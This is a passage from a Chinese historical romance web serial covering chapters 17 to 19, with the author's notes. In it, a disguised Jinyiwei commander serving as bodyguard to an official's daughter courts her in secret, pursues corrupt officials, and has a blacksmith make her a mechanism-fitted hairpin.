因昨夜才喝过酒,许珺忧心两个孩子喝伤脾胃,大早上就亲自炖了两盅清淡的翡翠珍珠汤,并一碗鸡肉馄饨,钱映仪依次用了些,舒服得喟叹两声。 屋檐下有几只鸟雀轻鸣,钱映仪想及昨夜找到侍卫说了些话,便扭头问:“林铮呢?你叫他过来,我有话问他。” 夏菱嘴上应声,不一时,收拾着出去了。 晨光自云层探头,衬得绿树荫浓,云滕阁内栽种的海棠花由枝头钻出点点深红,眨眼的功夫,已是春光明媚。 钱映仪犹记得俞敏森那厮有多坏,正伏在案上把他画得面目可憎,透红的嘴唇也阵阵翕合,暗自咒他出门跌跤,喝水呛喉,睡觉喘不过气。 正画得高兴,案上多了片阴影。 “小姐找我?”声音低低的,细听有些温柔。 她掀眼望去,这一下便没挪开眼。 先前裁制好的袍子在前两日就送了过来,那成衣铺的东家说做侍卫衣裳时,黑色的料子不太够,还差一套只能用别的颜色补上。 那时她只使两个侍卫自己与东家说。 年轻人穿着银色的暗纹袍子,箭袖下的小臂紧实,绑着皮革护腕,肩背依旧挺拔,背光站在她面前,朗目疏眉,即使二人之间隔着厚重的窗缘,离得不近,还称不上细细打量,也叫钱映仪觉得他神采英拔。 令她生出一股错觉,好像他不该是她身边的侍卫,而是一位行走江湖肆意潇洒的侠肝义胆之士。 稍刻,钱映仪倏地醒神,搁下画笔,复又去折纸张,垂眼掩饰不自在,“我、我叫你来,是想问你,我昨夜与你说了什么?” 侍卫好似沉默下来。 这一方小小天地安静得有些诡异,俄延半晌,钱映仪才听他开口。 “小姐什么都不记得了?” 她忙道:“我只记得与你说了话,不记得说了什么,我就是问问,你、你昨日没受伤吧?” 秦离铮稍转了下身子,侧对着她,由半束光打在侧脸,照得他的眼波闪闪烁烁,倏地从唇缝里溢出一声笑,“不是什么要紧的话,小姐昨夜便问过我,我没受伤。” “哦,那我还说了什么?” 他歪脸窥她低眉的模样,暗暗勾起唇,“小姐说关心我。” 钱映仪心中咯噔两声,原本在画纸上流连的指尖停住。 她饮酒后有个毛病,与谁都亲近几分。 树梢飞来一对黄鹂鸟,声声鸣叫得钱映仪心内打鼓,她窃窃伸出手,将半开的窗合拢些,良久给自己找了个拙劣的解释,“我喝过酒一惯如此,你身为我的侍卫,昨日发生过那些事,我关心你也是应该的,小玳瑁也常被我关心呢。” 秦离铮稍抬下颌迎着太阳笑,不说话。 钱映仪不知究竟还与他说过些什么,还想盘问,一双眼左右乱瞟,不防就在梳妆台上瞥见那个琉璃香瓶。 想及他昨日以一敌十,替她夺来这个,钱映仪又摁下那抹不知名的慌张。也对,她有什么好慌神的呢? 他身手好,令她赢了俞敏森。 那她关心他,再是正常不过。 如此一来,她不再细想,换了副笑嘻嘻的神色,这时候倏起坏心,与他道:“我从不知你身手那样好,经昨日那事,我与俞敏森日后见面定是水火不容,我问你,若他哪日惹了我,你敢不敢套了麻袋把他捉去个没人的地方狠狠打一顿?” 那黄鹂仍在叫唤,秦离铮却觉得她细细的声线更突出,那双眼睛说到要算计殴打人时,益发地清亮。他好笑抱臂往一旁倚,“就这么迫不及待想打他?” 钱映仪不禁握拳轻扬,“他比那吴念笙还讨厌!” 秦离铮渐渐敛了笑,好像“吴念笙”这个名字晦气,语气却还牵带着一分难以察觉的纵容,“那两个一并打了?” 说到此节,钱映仪抿着唇偷笑,好似那二人鼻青脸肿的惨状就浮现在眼前一般。 她向侍卫瞟去一眼,后知后觉地,与他说:“那就谢谢你呀。” 温软的笑意晃得秦离铮一霎回到昨夜,不自觉把目光落在她的唇肉上。 这一眼,看得他的耳廓逐渐发烫。 他冷不防收回眼,匆匆转身, 正要离去时,院门下陡地奔来一人,正是喜滋滋来找钱映仪耍的钱其羽。 小少爷本是要寻阿姐说话,这厢见到侍卫,双眼立时亮晶晶的,脚步一抹油就拐去侍卫身边,带着两分崇拜,满含希冀的目光投掷过去,“林铮,林铮,我能不能与你学些招数?” 秦离铮垂看他一眼,笑道:“习武艰苦,少爷受得住?” “受得住的,受得住的。”钱其羽笑得谄媚。 秦离铮回头凝望循声出来的钱映仪,“小姐?” 钱映仪竖着耳朵听了二人谈话,瞥了眼钱其羽,便摆摆手,“他向来图个新鲜,你随意教他两招,不必问我。” 秦离铮索性依她所言,随意指点起钱其羽来。 芳树奇花沐浴着春光,日头愈发盛。钱其羽握着把剑学招式,已是满头大汗。 午晌方至,门外陡地有人寻来,定睛一瞧,原来是许珺身边伺候的婆子,姓赵。 赵妈妈向钱映仪端正福身,摸了条帕子揩拭额上细汗,说是许珺派自己来传话。 蔺少奶奶备礼登门,与她赔不是来了。 钱映仪原是在树荫底下瞧丫鬟们打络子,闻声微怔,只好匆匆起身,抿唇往外行去。 甫一至用来待客的花厅,便听里头说笑声,钱映仪弯起个笑,打帘进去,这才发觉连燕如衡也一并来了。 那厢燕文瑛一见她,忙不迭过来握她的手,“映仪,昨日落了整夜的雨,我也睡不大好,总想着你在我家没玩痛快。” 说话间,燕文瑛眼风往外头打个转,又飘回来,低声道:“都怪那小霸王,搞砸了这场春宴,我今日特意与你赔个不是,你可还生气?” 这事与燕文瑛说到底没什么关系,她比钱映仪大些年岁,钱映仪又怎好顺着她的话端着自己?只得反手把她拍一拍,语气软了几分,“燕姐姐,我压根就没有生你的气。” 燕文瑛娇柔的脸庞这才绽开笑意,回身招来燕如衡,道:“想来是我会错了意,昨日听清溪说你瞧着不大高兴,还以为你生我这做姐姐的气。” 燕如衡当即朝她作揖,“钱小姐,原来是场乌龙,叫你见笑了。” 他今日穿了身空青色的袍子,说话时温文尔雅,又一惯星眸皓齿,因此钱映仪少不得又多悄瞥他两眼。 她冲他礼貌笑一笑,“燕大人今日怎不去衙门?” “今日正外出办事,不必再回衙门。” 许珺在一旁暗窥,心道这燕三郎的确生了张好脸皮,倘或她再年轻十几二十岁,怕是就想嫁他了。 好在仍记得公爹先前那一席忠告,不好与这燕家蔺家来往太深,因此许珺眼珠子左右一转,扬着下巴往外头瞧一眼天色,客客气气道:“少奶奶与三郎留下用顿便饭吧。” 又朝钱映仪暗传眼色,“映仪,你爷爷早先也说要回来用午饭,羽哥儿是不是在你那?你使个人去找他,叫他去门口接一接你爷爷。” 钱映仪从她话语中窥出意思,当即嫣然一笑,“好,我去去就来。” “且慢!”果不其然,一听钱兰亭要归家,燕文瑛忙拦停钱映仪,也客气回话,“我们哪好意思在你家用饭?倒显得我们愈发没规矩了。” 钱映仪转脸去望许珺。 许珺面色为难,“你们是客,哪有不留你们用饭的道理呢?” 左思右想,燕文瑛仍推脱,“还是不必,三郎下晌也还有些琐碎的事要办,不妨这样,咱们就在园子里转转?” 想及家里四处都有丫鬟小厮,料想他们也的确只能转一转,许珺便松了嘴,笑着点头,“那行,映仪,还是去叫羽哥儿来,少奶奶与三郎是贵客,他怎好失了礼数躲着不见人?” 寻常逛逛园子,又有那皮猴在,想来也是最稳妥的法子。 倒不是许珺刻意如此绕上一圈,只是那秦家惨案实在令她有些心悸,她又视钱映仪为己出,听说那与秦家长子定亲的小姐至今未嫁,她莫名也害怕起来。 碍着燕家姐弟主动登门,她不好太过疏离,只是一些不必要的误会,能避则避。 这时节满园春色正好,许珺爱花,因此大花园里各式各样的品种都栽了不少。 芬芳香气飘荡在园子里,蝶翅振振,燕文瑛执扇轻揺,赞道:“哟,太太这园子里的花,真真是好看,我得多瞧两眼,回头也往家里种上。” 说话时,脚步刻意快了些,将钱映仪与燕如衡丢在后头。 钱其羽背心里还淌着汗,不近不远跟在钱映仪后头,装出一副闲庭信步之态。 也许是生面孔突然往家里来,廊下伺候的几个丫鬟止不住地把眼风瞟去燕如衡身上。 一个说:“好俊,好漂亮。” 另一个答:“嗳,你有没有觉着,他与咱们小姐站在一处” 余下的话,这丫鬟没说出来,只是捂着嘴偷笑。 “想什么呢?”小玳瑁立在廊下,远远往园子里投去一眼,见身旁这人正是沉思之状,便用胳膊肘拐他两下。 秦离铮紧紧盯着那厢,向来淡漠的眼梢里泄出一丝冷,暗嗤燕家当真如一张狗皮膏药,撕开半截又黏上来。 方才丫鬟的话他听见了。 站在一处如何?般配? 他低眉环视自己一眼,忽地出声,“小玳瑁。” 小玳瑁扭头不解,“做什么?” “你先前买那《金陵风流韵事》的书摊,具体摆在何处?可有别的书?” 小玳瑁狐疑瞟他,见他并非玩笑,又往钱映仪那头看一眼,好像渐渐明白什么,一双眼睛瞪得溜圆,“你、你你你” 话未说完,只剩沉闷的呜呜声。 秦离铮捂住他的嘴,目光落在钱映仪的背影上,笑得耐人寻味,“只是买来看看。” 买一些他想看的,譬如如何讨女人欢心—— 作者有话说:秦离铮:阴森森.jpg 钱映仪:0v0 19号要上千字榜,是个很重要的榜单,所以18号不更哦,19号晚上十一点双更。 第18章 蜂争粉蕊蝶分香,不似垂杨惜金缕。园子里春色再好,碍着钱兰亭午晌要归家,燕文瑛也只得由许珺客客气气送到门口。 上了马车,待车轴辗转过了两条街,她才淡下神色,道:“爹说过,钱侍郎是个修炼成精的老狐狸,别看他一副澹然之相,实则是个最明白不过的人,这事要我说还是不要太着急。” 燕如衡久久缄默,不曾吭声。 西晒的太阳厉害得紧,透过帘子缝隙扑在燕文瑛的脸上,像道斑驳的珠光,虽漂亮,却有些灼人,“平日里不少小姐借着由头故意往你跟前凑,明知也是为了瞧你多光风霁月,她们如何讨好你,你就如何讨好钱映仪,还学不明白?” 燕如衡眼瞧着还算温顺,只是低眸看着轻轻握拳的手,不知在想些什么,“知道了。” 大约自小一块长大,瞧他如此,燕文瑛自知语气重了,轻叹一声道:“清溪,我不是怪你,也没想利用你,我晓得,自打你发现自己不是爹娘亲生,心里就总不是滋味,总想回凤阳去二叔二婶身边尽孝,是不是?” 燕如衡羽睫轻颤,深深吸气,微抿着唇沉默。 俄延半日,才道:“爹娘养育之恩,我岂敢忘。” 知他在说燕榆与王采苓,燕文瑛堆出个笑,抬手拍了拍他的肩,“二叔二婶与咱们虽没什么来往,每年却还是来应天府与咱们一齐过年的,你就当多了一双父母,有两个爹两个娘一齐疼你,还有我这个做姐姐的,日子岂不痛快?” 燕如衡眼里含了一抹讽刺,面上不显,只轻轻颔首。 他向来也不是什么话多之人,长至二十岁时都未议亲,彼时他不知这里头的真相,还暗自琢磨过一阵,为何爹娘不与他相看小姐? 后来在凤阳遇上二叔醉酒,他才知晓二叔不是二叔,而是他的亲爹。 在家中,他对内称三郎,他也天真以为他 前头有个亲生哥哥死了,岂知这所谓的“亲哥”也只是堂哥,他本就不属于这个家。 自打调任回金陵,他就觉得家中充满了阴谋诡计。 连将他培养成如今这幅人人称赞的模样,也不过是叫他做一颗棋子,或一块垫脚石,以成全这个家里的富贵荣华。 愈是在家中久待,他愈发觉得身陷一片拔不住脚的沼泽地,朱门玉户又如何?关起那扇门,里头都是吃人的怪物。 连面前这与他一齐长大的姐姐都 “清溪,你姐夫自打从池子里捞起来,就染了风寒,”燕文瑛倏然放松倚着车壁,脑袋贴在帘子上,盖住了那束浮着尘灰的光,她阖着眼笑,“你说,是不是罚得轻了?我就说与他是前世的冤家,他生来就是克我的。” 千万斤重的心事压在燕如衡心头,在这一刻也只得奋力掷开。 燕文瑛起初与蔺玉湖也是相敬如宾,后来好过两年,可蔺玉湖生性顽劣,脚长在他身上,她也捆不住他。 渐渐地,少年夫妻闹成如今这般,相看两生厌,若非为了利益,两方长辈又在中间斡旋,也许早已撕破脸。 即使他知道他们之间没有血脉相连,可自小的情谊总会在某些时刻牵着他的心去心疼她。 燕如衡挑开帘子望向街市。 一行商队自拐角出来,皆穿着干练,一人耍宝,一行人笑,忽地河边一户人家开门泼水,正正泼在为首那人的脚下,他也只是稍怔,又扭头大笑,潇潇洒洒离去。 燕如衡眼波里流连出一丝艳羡,视线紧紧粘在那商队的背影上,直至他们消失。 再撂下帘子时,燕如衡又是那副温润的笑,仿佛那盆水无形泼在了他身上,浇灭的,或许是他心底钻出来的那丝顽抗不从。 “阿姐,他配不上你,是罚得轻了。” “钱映仪那头,我会再钻研她的喜好。” 燕文瑛欣欣笑了,轻挑下巴,自眼梢里露出一丝不屑,“我懒得管他,只要他不像昨日舞到我面前来,我也不与他计较了。” 至于后头那句,她巧妙避开,不再作答。 秦淮两岸热闹繁丽,或流杯聚饮,或画舫玩乐,至于姐弟二人乘坐的马车,早已隐没在这一片风流万千的世界里。 顺着河边往西走一截路,有家乐馆门户大开,伶人倚栏轻笑,纱衫轻薄,由太阳晒着也不觉得冷,不时向行人晃一晃粉白的胳膊,臊得几个书生悄瞥一眼,又匆匆离去。 乐馆最里头一间暗室里,秦离铮转背过来,淡道:“原先的计划取消,不等他们有动作,直接扰乱他们。” 因钱映仪有午憩的习惯,早在燕文瑛姐弟还在钱家时,秦离铮就已避走出来。 年轻斯文的乐馆东家正喝着茶,闻言讶然回眸,“为何?” “你只管照办。” 褚之言古怪琢磨片刻,窥他面色好似遮掩,两三下明白些什么,“因为钱小姐?” 见秦离铮沉默,褚之言益发肯定心中猜测,乐得眉开眼笑,意味深长学着他先前说过的话,道:“我蛰伏在钱家小姐身边,利用她出行之便,将一班贪墨的官员都摸清楚,届时再一网打尽,待收网后就回京师。” 秦离铮身为锦衣卫指挥使,因眼眉锋利,平日不说凶神恶煞,却也冷得跟个冰柱子似的,褚之言最爱戏弄他,又点评:“懂了,不利用了,动春心了。” 他大笑,“那还回京师吗?” 秦离铮瞟他一眼,一记杯子扔过去,“说正事。” “啧,”褚之言紧抓最后一刻油嘴滑舌,“真是铁树开花,心胸都开阔不少,我这样调侃你都不生气了,换作从前早已拔刀砍来。” 眼瞧秦离铮渐渐有了动作,褚之言须臾转换神色,严肃道:“说正事,指挥,咱们从哪一处下手?” 秦离铮吐出一个人名:“陆觉。” 他道:“我记得,金陵有位守备太监,叫陆觉,你可知他祖上是做什么的?” 褚之言敛神细细回想,半晌一拍脑袋,“泥瓦匠?” 秦离铮沉静的面庞不变,拔脚坐向褚之言身侧,替自己斟了杯茶,“这陆觉自幼接触泥瓦,市井出身,十三岁入宫做了太监,一做就是二十年,后来年岁大了些,有一年吃核桃时卡住咽喉,是如今的皇上救了他一命,从此他对皇上忠心耿耿,这才自请调来金陵做守备太监。” “不像常容,”想及那位远在京师的秉笔太监,秦离铮冷笑一声,“也是个贪心不足的。” 褚之言琢磨出味儿来,“陆觉不常出来走动,只在皇城里,偶尔爱喝点酒,听点小曲儿” 说着,他睁大眼,“指挥的意思,是要我把他引去江宁?看那条正在修缮的路?” 秦离铮点点头,“他自小耳濡目染,修缮用的泥是好是坏,一眼便能看出,密报指出燕榆时常讨好他,咱们就借他之手,让燕榆等人自乱阵脚。” 晴光摇晃,渐渐映进暗室里,秦离铮轻叩桌面,噙出一抹笑,“三万两,对他们来说是不多,可利益熏心的人,哪怕是一个铜板未进荷包,也是要急的。” “急了,自会露出破绽。” 聊过正事,二人对坐饮茶,褚之言起身松快一番,交叠两条胳膊靠在窗边,道:“话又绕回来,指挥,我得提醒你一件事。” 他侧脸淡瞟河岸的艳丽,声音很轻,“我时常待在这些销金窟里,为花魁一片裙摆争得头破血流的男人我见得太多,那些暗使阴招的,我也不是没见过,这世道,要毁了一个女人的名节,简直轻而易举,燕家想叫钱小姐进门做儿媳,却屡不得胜,难保不会如此。” 秦离铮照着河岸睃一眼,目光逐渐凝成一点寒,嗤了一声,“他们岂敢?” 话虽如此说,顶着艳阳出了乐馆后,秦离铮还是脚步一转,往两条街外的铜铁作坊行去。 一路走过,遂进了家打铁铺,迎面走来个伙计接待,“哟,官人看点什么?银镯子,银珥珰,是买给自家太太,还是” “叫你这铺子里的打铁师傅出来。”秦离铮抬手拦停他,搁下一锭碎银,“我与他说。” 伙计偷觑他一眼,见他收拾得干干净净,身上的衣裳也是好料子,面色为难,“您饶过小人,师傅忙着,数不清的东西要打,哪里得空。” 秦离铮不与他费口舌,又摸了锭更大的丢给他。 伙计当即喜气扬眉,捧着银子连连点头,转身打帘往里头去,没几时引出个膀圆腰粗浑身硬。肉的中年汉子。 那汉子姓何,何铁匠脾气不大好,正是口干舌燥,灌了一壶凉茶,一屁股坐在椅上,斜着眼瞧秦离铮,“官人要打什么?” “匕首,女子用的那种。” 何铁匠闭着眼歇气,“要什么样式?” “最普通的就行,只一点,要削铁如泥。” 言罢,秦离铮又往怀里摸出两枚成色黯淡的银戒,轻轻搁在何铁匠面前,道:“烦请您帮我瞧一眼,这里头的刻字还能不能复原。” 何铁匠接过来,起身行去门口,斜在天光下看,戒身斑驳,刻字的那块地方像是遭受过撞击,凹了进去,也是个精细活,他道:“这有何难?融了重刻就行。” 秦离铮却道:“我的要求是不融它,只复原刻字,旁的一概不要动。” 何铁匠乜他一眼,笑道:“你怎知我会这样精细的功夫?” 秦离铮只将目光落在陈列的首饰上,“倘或我看不出,我便不会找您,这一带的铺子,只您细心些。” 这一对银戒各自刻了他与兄长的乳名,这些年他视若珍宝,总贴身带着,前些日子却发现上头的字已然模糊不清,今番正好一并修了。 何铁匠扯出个笑,转背往里走,只道: “你倒会看人,五日后来取。” 日影正盛,秦离铮踅回钱宅时,钱映仪正午睡起来,拢着稍松的髻,眯眼托着腮,坐在树下发怔不说话。 他四下张望一眼,轻步上前,声音放得较软,仿佛怕惊扰了她余韵未消的慵意,“夏菱她们人呢?” 钱映仪掀眼瞧他,正巧迎着光,刺得眼睛不大舒服,便又垂下头,道:“往前头领月钱去了,你做什么去了?我睡前没见着你。” 见他不答,她又道:“算了,不重要,你也快些去领月钱,我在这儿再坐会。” “小姐饿不饿?” 钱映仪懒问一句:“什么?” 秦离铮反剪在背后的手转出来,擎着一个油纸包递与她,“河边买的。” “你出去了?”钱映仪狐疑瞧他,接来油纸包打开,是云片糕,不免又是一怔,“我午睡做梦,醒来正想吃这个,你正好买了,这么巧?” 秦离铮顺势往树干上歪靠着,烁烁眼波只在她身上流连一瞬,很快又挪开,望向院门口,“做什么梦了?” 总不至于又是什么噩梦。 钱映仪轻咬两口云片糕,里头加了砂糖,甜滋滋的,入口即化,她却轻哼一声,瘪着唇道:“说了你也不懂。” “我又如何不懂?小姐说都没说。” 也许是他替她赢来琉璃香瓶,钱映仪觉得二人之间少了些“作对”,多了些“平和”,左右一睇眼,瞧着没人,便将云片糕搁在膝头,阴恻恻道:“我梦见锦衣卫了。” “他们在一户人家办案,翻箱倒柜,四处搜查,最后连人都给杀了,可怕得很。” “你知道锦衣卫么?” 秦离铮偏头看她。 她说话时神情灵动,好似身临其境一般,又穿着夕岚色的比甲,上头绣着花,几只振翅的蜜蜂,并着她翕合的唇,传出那细细声线,益发显得俏皮可爱。 他自唇缝牵出一抹笑,“知道。” “哼,我就说锦衣卫不好,”鬓边碎发垂落,有些痒,钱映仪抬手挠一挠,道:“我在京师时就见过锦衣卫抄家,虽没有梦里这样可怕,却也讨厌,一个个凶神恶煞的,那时我娘牵着我回避,他们还将我新买的兔子灯踢得远远的。” 秦离铮眨眨眼,没说话。 俄延半日,他忽地问了个偏离话锋的问题,“小姐不喜欢血腥?” 钱映仪把眼瞠圆,“哎哟,你说的什么话呢,你见过哪家大家闺秀喊打喊杀的?我漂漂亮亮一个人,你哪只眼睛见我能与血腥沾边?” 大约想到自己扇俞敏森两记耳光时,他应当是瞧见了,钱映仪又有些心虚,余光偷瞥他,道:“我、我那日打人,是气急了,我平时不打人的,外头那些门户里的太太都说我斯斯文文呢。” 她说得口干,见他还是不怎么搭话,暗道与他解释这么多做什么,遂欲回房沏茶,想及手里拿着云片糕,便打算先往石桌上放一放。 怎知突生变故,钱映仪垂眼时,自树上掉下来条小虫,“啪嗒”一声,恰好落在云片糕上! 待她看清是她最怕的软虫,那双清透的瞳眸渐渐瞪大,“啊”地一声尖叫出声,云片糕往半空一抛,裙摆一提,登时跑去了屋檐下。 把秦离铮骇得往前追了两步,“怎么了?” 钱映仪头皮发麻,浑身打了个颤,摆着两截袖子在身上四处拢,急得要哭,“有虫!有虫!从树上掉下来了!” 秦离铮愕然环视一圈,才在云片糕上寻到那条虫,再去凝视钱映仪,在浅浅的廊下来回跺脚,就差没跳起来,他从没见过她这样,一时也有些没反应过来。 眼睁睁瞧着那小虫掉下来,钱映仪此刻觉得或许身上也有几条,她在树下坐了将近一炷香的时间! 震了片刻,不见有虫落下,钱映仪心中益发是又急又煎熬,她顾不得旁的,高喊:“林铮,你过来!” 秦离铮快步赶过去,她近乎是眨眼间凑过来,朝他摊开手,两片空荡荡的袖管子轻轻飘着,叫他产生一种错觉。 好像掀开它们,就能抱住她。 钱映仪变幻莫测的脸上有几分扭捏,瘪着唇道:“替我瞧瞧,我、我身上有没有虫。” 见他未动,她又催促,“快呀!” 秦离铮片刻醒过神,俯低腰身朝她逼近,一双眼紧盯她的衣裳,“别动。” 钱映仪立时定在原地,由他的目光从肩头往下,再环视一圈,极缓,极慢。有那么一瞬,她觉得他不像是在找虫。 说不出的古怪感在心头蔓延,她仍不敢轻举妄动,只把脖子崩得直直的,“有么?还有背后。” “转过去。” 待转过身,那股目光益发明显,碍着怕有虫,钱映仪不敢回头,害怕这一动就让某条虫成为漏网之鱼。 院墙上的红杏密得像场红雨,微风吹来时,送来一阵清香,忽然间,钱映仪发觉身后没了声音。 “林铮。”她轻问:“你还在么?有没有?” 俄延半晌,传来年轻人的声音,沙沙的,“还在。” 说话时,喷出来的气息清浅印在她的耳后与脖子上,这个被她觉得向来有些粗犷的男人好似蓦然温柔下来 “没有虫,小姐放心。” 回身时,他已退离得远了些。那道冒着热气的呼吸,好像只是一刹那的错觉,像方才的那阵清风,转瞬即逝。 她还是不大放心,垂头环扫一圈,复又问:“真没有?” 岂知他眉头轻结,又近前几步,“别动。” 吓得她一时手脚不知该如何放。 稍刻,他从她的肩头捻下一样东西,夹在指缝里,钱映仪一眼瞥清,分明就是片树叶! 她登时气不打一处来,只觉自己被戏弄,握拳哐哐往他的肩头锤了几下,“你敢骗我!叫你吓我!” 再要教训时,拳头被剑鞘挡住。 秦离铮低窥她鼓起的腮肉,忍俊不禁,一时笑出声来,“你力气这样大,还说自己斯文?” 钱映仪倏地收回手,脸渐渐涨红了。 说来也巧,领过月钱的丫鬟们成堆地转了回来,钱映仪眼色飞过去,好似一瞬间有了底气,猛瞪他一眼,高扬着下颌就兀自朝那头去了。 秦离铮远远目送她,回想方才卑劣地利用那短暂的时间来正大光明瞧她,敛住心思,明白她不大想再见到自己,也脚步一拐,出了云滕阁。 月亮高悬枝头,用罢晚饭后,钱映仪果真如秦离铮所料,连见他站在一旁都生气,因此赶他远远站着。 旋即与夏菱、春棠两个在屋子里捉虫,总觉得衣裳上仍有。 “夏菱!你看仔细些呀,我来来回回看了四五遍,眼瞧着是没有,但那虫生得恶心,掉下来蜷成一团,指不定哪一处刺绣或夹层里盘着,你眼神好,哎唷,再瞧一眼囖!” “小姐,奴婢瞧了没有十回也有八回了,眼睛都发酸了,真没有。” 秦离铮静静听着,不禁轻笑。 倏地“啪”的清脆一声,像是什么首饰落地。 不一时,春棠拉门出来,手里拿着根簪子,欲往西厢那头走。 秦离铮心念一动,忙快步行去拦下她。 春棠歪着脸瞧他,面色不解。 秦离铮沉默片刻,有些生涩抬起两条胳膊向她比划,问她发生何事。 春棠好半晌才看懂,料想他看不明白自己比划的意思,遂旋裙往西厢去取了纸笔,写下缘由与他。 看清上头意思,秦离铮才明白这簪子因摔碎一片花瓣,钱映仪看着心头不舒服,方令春棠收起来,待哪日找个时机一并将不完整的首饰都送去修补一番。 秦离铮往窗纱摇曳的影上多瞧了两眼,蓦然向春棠要来笔,寥寥几字写下,只说簪子交与他,他会修。 春棠讶然,不大相信。 秦离铮又点了点下颌。 碰巧这时小玳瑁不知打哪个拐角出来,见二人立在原地,狐疑把那纸夺过来一瞧,哪有不明白的? 连番向春棠保证,或说小姐近来心情不大好,修好发簪也使她高兴高兴,或说小姐往日戴这簪子戴得多,想来也是喜欢,不如早些修好。 一阵比 划下来,胳膊都有些累。 春棠总算放宽心,把簪子递与秦离铮,复又旋进屋子里。 这回轮到小玳瑁不大高兴了,板着张脸委屈,“你的忙我是帮了!我还没与她多说几句呢!” 秦离铮收好发簪,瞟他一眼,扯出半边唇笑,“那我再帮帮你?” “算了,”小玳瑁懒洋洋往廊柱上靠,冷不丁问:“你真喜欢小姐?” 往正屋那头觑了一眼,少年再望向秦离铮的目光里有几分怜悯,“身份地位配不上,你这叫肖想。” 秦离铮嗤嗤笑了,不与他争辩,只说请他看着,自己再出去一趟。 小玳瑁在后头追问:“这时候都天黑了,你往哪里去?” 回答他的只是一道渐渐模糊的背影。 何家铁铺的伙计正预备落钥关门,不防拐角匆匆走来一人拦停他的动作。 伙计定睛一瞧,竟是白日那出手大方的年轻官人,心中一咯噔,怕他是反悔,便忙道:“官人,咱们铺子不做生意了。” 秦离铮又摸出个银锭丢与他,自顾往铺子里去寻何铁匠。 “你说要做什么?暗器?”何铁匠正盘腿在椅上,端着碗阳春面吃。 秦离铮面色不改,淡然指点一二,“是,白日那把匕首不做了,烦请您将这簪身融了,打成空心的形状,里头安装机关,拉出一根细弦,另一头连在这簪头的一片花瓣上,再把这三串珍珠凿空,搁进一些防虫的香料,香料与细弦,我明日一并送来。” “好精妙的机关,就是不知官人用来做什么?”何铁匠语气隐含几分防备,“倘或是做杀人的行当,那白日的银子请官人拿回去,我不做这生意。” “请放心,只是用作防身。”秦离铮一惯不爱说得太清楚,只将作用交代了。 何铁匠定定看他半晌,复又再三确认,这才叫他十日后来取。 待再回钱宅时,钱映仪已然歇下。 上半夜由小玳瑁值守,秦离铮现下得空,索性回了歇息的寝屋,摸出两本册子,一一翻页阅览。 正是下晌在书摊上买的书。 可愈是往后看,愈是眉心打结。 最后干脆将册子狠掷在案上。 什么讨女人欢心的妙招,分明就是油嘴滑舌骗女人。 嫌弃过后,是一字也不想再看,遂点燃个银釭,擎去门外,找了处稍显隐蔽又无人的地方,欲把那册子一把火燎个干净。 火光摇摇晃晃,秦离铮垂眼顶着纸变灰尘,有些出神,不防想起那小半截白皙的脖子。她脖子上有两条蜿蜒向下的青筋,不大明显,细细的 微弱的火苗“啪”地绽响一声,秦离铮像被烫了一下,暗自沉气,等了片刻把黑灰收拾干净,方转背踅回那间暗暗的屋子。 摸出那本手札,秦离铮惯性提笔,要写些琐碎事迹。 正要落笔时,手一顿,往前翻找了一阵,瞥见与钱映仪有关的开端,写她娇气,难伺候,秦离铮暂且搁下笔,不禁弯唇笑笑,把那一页页缓慢撕下来,重新誊抄属于自己的部分。 至于钱映仪那部分,他胡乱揉成团在手心,想取来银釭再烧一回,方起身又伏腰坐了回去。 慢慢地,把那些纸张铺开,看了半晌,大约是笑自己被她吃住,最终只是将那些纸张压在了某个只有他知晓的角落里。 接着写: ——咋咋呼呼的一个人,竟怕虫?她跳脚的模样可爱,我心甚悦。今日穿的衣裳衬她,美。褚之言所言有几分在理,我并非时刻在她身边,既不喜血腥,那匕首也恐她伤及自己,作罢。 ——鬓发覆广额,双耳似连璧。她叫我想及这句。 ——倘或告知我亦是锦衣卫,她能否接纳? 他绝不踢她的兔子灯—— 作者有话说:钱映仪:好奇怪,怎么会觉得他温柔? 秦离铮:什么讨好女人的书,还不如我自己开窍来得快。 第19章 几番光阴就在这样隐晦的心事下流转。乱花渐欲迷人眼,浅草才能没马蹄。钱映仪这日晨起高兴,想及陈老板那头时常催自己要纸稿,因此孤坐大半个时辰,欲写个新的志怪故事。 写了半日有些疲累,旋即伏在案上歇一歇。 正逢夏菱走窗前过,便向她招一招手,“好夏菱,你过来,我交代你去办件事。” 夏菱含笑靠近,才知她此时想听一出《琵琶记》。 钱映仪道:“上回咱们在河边那戏楼里见过的青衣,叫什么来着?璎娘,你使个丫鬟去河边走一趟,把她那戏班子请来,今日天气好,顺道再请秋雁与岚岚一并过来,大家一起耍一耍。” 夏菱忙应声,想及要热闹起来,喜滋滋就出去唤人了。 话说那名唤璎娘的戏子自打上回与钱小姐说过话后,再接待些少爷小姐就觉得他们依旧是自持清高。 加之近来干娘总问那钱小姐何时请他们这一班戏子上门,璎娘心中不免又惘然,暗揣或许当时也只是一席场面话。 是以钱家的小丫鬟来请时,不止干娘喜笑颜开,连璎娘心中也对钱小姐又多了几分好感。 这厢利索收拾好箱笼,一班戏子就与小丫鬟一并前往琵琶巷。 往前他们不是没在门户里唱过,可大多是些商户,头一回进官员宅邸,还是南直隶工部的侍郎,戏子们一路笑没了眼。 只想这富贵人家手指缝里露点什么出来,叫他们捡了去,也能跟旁人炫耀许久。 璎娘亦是如此,自打进了琵琶巷,她就总悄瞥这排列的金屋。 不防快走到钱家时,隔壁门户大开,往里头走出位年轻官人,生的是目若朗星,文质彬彬,端的是长身玉立,仪表堂堂。 璎娘一时看呆,直至那年轻官人似有所感往一班戏子里头瞧,目光精准往她身上落,她方受惊似的收回羞赧的脸。 引路那小丫鬟也是头一回见到隔壁这新邻居,瞧他是个男人,也不好招呼寒暄,只老老实实敛神往自家门前去。 岂知那年轻官人身旁的小厮却快步行来,拦下她就笑嘻嘻道:“姐姐是隔壁家的?我家官人姓裴,单名一个骥,从前在淮安府做丝绸生意,新搬来这琵琶巷不久,也没什么机会与邻里说上话” 小丫鬟是个机灵的,眼风飞去那大宅子,暗道这丝绸生意想必做得极大,只是自古商户总要讨好官员,便明白这小厮用意,客客气气向那裴骥福身后,才与小厮道:“晓得了。” 不至于太生疏,也不至于太亲近。 小丫鬟还谨记夏菱姐姐的交代,忙朝后头招一招手,兀自领着戏班子进了钱宅。 唯余璎娘落后几步,红唇磨一磨,低道:“裴骥他叫裴骥” 没几时一行人进了钱宅,不敢多瞧,又恨不能把双眼睛盯死在这富贵里。 丫鬟引他们去了大花园的一处空地,叫他们预备着。 稍刻,自西边拐出三道靓丽的身影,或桃腮粉面,或嫣然巧笑,打扮上来瞧,想必是这家中的小姐与客人。 